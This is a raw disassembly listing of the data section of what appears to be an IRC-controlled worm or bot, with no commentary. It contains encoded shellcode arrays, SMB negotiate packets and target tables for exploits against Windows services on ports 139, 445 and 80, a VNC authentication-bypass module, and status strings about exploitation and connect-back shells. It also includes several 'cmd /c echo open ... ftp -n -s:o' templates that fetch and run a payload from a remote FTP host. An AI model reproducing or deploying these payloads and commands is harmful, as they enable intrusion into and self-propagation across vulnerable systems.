XREF: sub_40B29D+96o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B29D+A6o align 10h a2k3 db '2K3',0 ; DATA XREF: sub_40B29D+B4o a??? db '???',0 ; DATA XREF: sub_40B29D:loc_40B358o ; char aS_23[] aS_23 db '[%s]|',0 ; DATA XREF: sub_40B29D+C4o align 10h ; char aSI_2[] aSI_2 db '%s%i',0 ; DATA XREF: sub_40B29D+EBo align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40B3A7+1Fo align 10h aM_0 db '[M]',0 ; DATA XREF: sub_40B3A7+2Co ; char aDS[] aDS db '[%d]%s',0 ; DATA XREF: sub_40B3A7+3Ao align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40B3A7:loc_40B3F6o align 4 ; char aM_1[] aM_1 db '[M]',0 ; DATA XREF: sub_40B3A7+5Co dword_4480A8 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+C4o db 66h, 0B9h word_4480B6 dw 0FFFFh ; DATA XREF: sub_40B64F+CCw db 80h, 73h, 0Eh byte_4480BB db 0FFh ; DATA XREF: sub_40B64F+D3w dd 0F9E243h dword_4480C0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+A2o db 0B1h byte_4480CD db 0FFh ; DATA XREF: sub_40B64F+AAw dw 7380h db 0Ch byte_4480D1 db 0FFh ; DATA XREF: sub_40B64F+B0w dw 0E243h dd 0F9h dword_4480D8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B4D8+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_44813C dd 12h ; DATA XREF: sub_40B4D8+3Dw dd 70746674h, 6578652Eh, 20692D20h aGet db ' get ',0 ; DATA XREF: sub_40B4D8+79o ; sub_40B4D8+9Bo aJ_0 db 'j',0 db 0E8h dword_448155 dd 17h ; DATA XREF: sub_40B4D8+4Dw db 75h, 1, 0C3h db 0E8h dword_44815D dd 1 ; DATA XREF: sub_40B4D8+45w byte_448161 db 0, 6Ah, 0 ; DATA XREF: sub_40B4D8+C2o dd 7E8h db 0, 0Fh, 84h dword_44816B dd 0FFFFFFEDh ; DATA XREF: sub_40B4D8+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h dword_44819C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B813+10o ; char aD_S_0[] aD_S_0 db '%d. %s',0 ; DATA XREF: sub_40B813+46o align 4 ; char aSSStopped_DThr[] aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B9E4+35o align 10h ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B9E4+51o align 4 aSym db 'sym',0 ; DATA XREF: sub_40C951+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BE3A+30o align 4 dd 5 dup(0) dword_448220 dd 0B97h ; DATA XREF: sub_401CC7+1D91r ; sub_401CC7+1DBAo ... off_448224 dd offset sub_40EB28 ; DATA XREF: sub_40C951+1EAr dword_448228 dd 0 ; DATA XREF: sub_40BCAA+2Eo ; sub_40DB0C+19Ew ... dword_44822C dd 1 ; DATA XREF: sub_40C12D+1Fr dword_448230 dd 1 ; DATA XREF: sub_40C12D+3B3r dword_448234 dd 0 ; DATA XREF: sub_40C12D+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch dd offset sub_40EC5E dd 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh dd offset sub_40E9BD dd 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh dd offset sub_40E9BD dd 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h dd offset sub_40DB0C dd 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh dd offset sub_40DB0C dd 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh dd offset sub_40DB0C dd 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) dd 6D7973h, 0 db 2 dup(0) byte_448402 db 1 ; DATA XREF: sub_401CC7:loc_4039D1r ; sub_401CC7+1D14o db 76h dd 636Eh, 0 dd 656E0100h, 39333174h, 0 dd 74656E01h, 353434h, 1000000h, 346E7361h, 3534h, 10000h dd 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h ; char asc_4485BC[] asc_4485BC db '-' ; DATA XREF: sub_40BCAA+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 ; char asc_4485DC[] asc_4485DC db ' ' ; DATA XREF: sub_40BCAA+46o db 3, 37h, 25h dd 203A0373h, 2C6425h ; char aTotalDInS_[] aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40BCAA+86o align 4 ; char asc_4485FC[] asc_4485FC db '-' ; DATA XREF: sub_40BD79+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 ; char asc_448644[] asc_448644 db '-' ; DATA XREF: sub_40BDE5+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h ; char asc_448670[] asc_448670 db '-' ; DATA XREF: sub_40BE3A+14o db 3, 34h, 2 dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch dd 3Ah ; char asc_44868C[] asc_44868C db ' ' ; DATA XREF: sub_40BE3A+40o db 3, 37h, 25h dd 28200373h, 73253403h, 2C2903h ; char aScanTimeS_[] aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BE3A+7Fo ; char asc_4486AC[] asc_4486AC db '-' ; DATA XREF: sub_40BF01+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 ; char asc_4486DC[] asc_4486DC db '-' ; DATA XREF: sub_40BF01+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 ; char asc_448710[] asc_448710 db '-' ; DATA XREF: sub_40C0B6+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 ; char asc_44872C[] asc_44872C db '-' ; DATA XREF: sub_40C0B6+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 ; char asc_44874C[] asc_44874C db '-' ; DATA XREF: sub_40C12D+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_2 db ' Server started on Port: %d, File: %s.',0 align 10h ; char asc_448780[] asc_448780 db '-' ; DATA XREF: sub_40C12D+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_35 db ' Failed to start server, error: <%d>.',0 align 4 ; char asc_4487B4[] asc_4487B4 db '-' ; DATA XREF: sub_40C12D+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 ; char asc_4487E8[] asc_4487E8 db '-' ; DATA XREF: sub_40C12D+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_36 db 'Failed to start server, error: <%d>.',0 align 4 ; char asc_44881C[] asc_44881C db '-' ; DATA XREF: sub_40C12D+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_4 db '- Server started on Port: %d.',0 align 4 ; char asc_44884C[] asc_44884C db '-' ; DATA XREF: sub_40C12D+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_37 db '- Failed to start server, error: <%d>.',0 ; char asc_448884[] asc_448884 db '-' ; DATA XREF: sub_40C12D+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0 ; char asc_4488C0[] asc_4488C0 db '-' ; DATA XREF: sub_40C12D+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_38 db ' Failed to start server, error: <%d>.',0 align 4 ; char aD_D_D_D_0[] aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C64B+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:0040C879o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040C8B0o aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040C90Ao align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:0040C92Fo align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_40C93Fo align 4 ; char asc_448978[] asc_448978 db '-' ; DATA XREF: sub_40C951+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_4489B0[] asc_4489B0 db '-' ; DATA XREF: sub_40C951+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 ; char asc_4489D8[] asc_4489D8 db '-' ; DATA XREF: sub_40CB69+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 ; char asc_448A0C[] asc_448A0C db '-' ; DATA XREF: sub_40CB69+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_448A40[] asc_448A40 db '-' ; DATA XREF: sub_40CB69+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 ; char asc_448A78[] asc_448A78 db '-' ; DATA XREF: sub_40CB69+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 ; char asc_448AB8[] asc_448AB8 db '-' ; DATA XREF: sub_40CDC8+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 10h ; char asc_448AE0[] asc_448AE0 db '-' ; DATA XREF: sub_40CE95+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 ; char asc_448B08[] asc_448B08 db '-' ; DATA XREF: sub_40CF86+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 ; char asc_448B34[] asc_448B34 db '-' ; DATA XREF: sub_40CF86+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40D335+B2o align 4 dword_448B6C dd 10FF8h, 0 ; DATA XREF: sub_40D335+6Ao dword_448B74 dd 10FF8h ; DATA XREF: sub_40D335+79o dword_448B78 dd 7FFDF020h, 0 ; DATA XREF: sub_40D335+162o dword_448B80 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D75F+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_448C08 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D75F+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_448C38 dd 0 ; DATA XREF: sub_40D75F+44o dd 800000D4h, 0 unk_448C44 db 81h ; ; DATA XREF: sub_40D839+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_448C90 db 41h ; DATA XREF: sub_40D8D7+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 aSvwfbA db 'SVWf',0 ; DATA XREF: sub_40DB0C+82o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_448E3C dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: sub_40DB0C+30o dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dword_448ECC dd 23h ; DATA XREF: sub_40D2DA+1Bo ; char dword_448ED0[] dword_448ED0 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40D335+E8o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_40D335+153o align 4 dword_448EE4 dd 3 ; DATA XREF: sub_40D335+246o ; char dword_448EE8[] dword_448EE8 dd 0A1h ; DATA XREF: sub_40D335+29Fo ; char dword_448EEC[] dword_448EEC dd 30h ; DATA XREF: sub_40D335+2CAo ; char dword_448EF0[] dword_448EF0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40D335+2F5o ; char dword_448EFC[] dword_448EFC dd 60h ; DATA XREF: sub_40D335+320o ; char aCmdCEchoOpenSD[] aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_40DB0C+57o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_448F68 dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh ; DATA XREF: sub_40E3C7+2B3o dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh, 5E58578Bh dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah, 58E076DDh dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh, 7077762Eh dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh dd 203E1EEh, 2355575Eh, 3A05E1ECh, 95864AEFh, 8DBB8D6Bh dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h, 95B9C844h dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h dd 9505E1E8h, 6AD31E6Bh, 0 dword_4490C8 dd 0EFFFC481h, 44FFFFh ; DATA XREF: sub_40E3C7+29Ao dd offset aWindowsNt42000 ; "Windows NT4, 2000 (SP0-SP4)" dword_4490D4 dd 42Ah ; DATA XREF: sub_40E3C7+24Dr dword_4490D8 dd 3E8h ; DATA XREF: sub_40E3C7+2BEr dword_4490DC dd 258h ; DATA XREF: sub_40E3C7+290r byte_4490E0 db 1 ; DATA XREF: sub_40E3C7+1F9r ; sub_40E3C7+2C7r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4490F8 dd 20804h ; DATA XREF: sub_40E2CBr ; sub_40E3C7+2E5o ... aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 ; DATA XREF: .data:004490D0o aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004490E4o align 10h ; char a__6[] a__6 db '.',0 ; DATA XREF: sub_40E3C7+10o align 4 ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3C7+33o align 10h ; char aSPipeBrowser[] aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E3C7+84o align 4 dword_449154 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40E3C7+F5o dword_449168 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40E3C7+151o dword_44917C dd 2EBh, 0 ; DATA XREF: sub_40E3C7+221o ; char aCmdCEchoOpen_0[] aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E8CF+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4491F8 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EB28+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 ; char aCmdCEchoOpen_1[] aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40EA11+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 word_44A480 dw 1 ; DATA XREF: sub_40EC5E+Ar align 4 ; char aRfb03d_03d[] aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_40EC5E+93o align 4 ; char aVncD_DSSAuthby[] aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: sub_40EC5E+1FCo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EF74+130o ; char aEchoOpenSDOEch[] aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F160+23Eo db ' &echo bye >>o 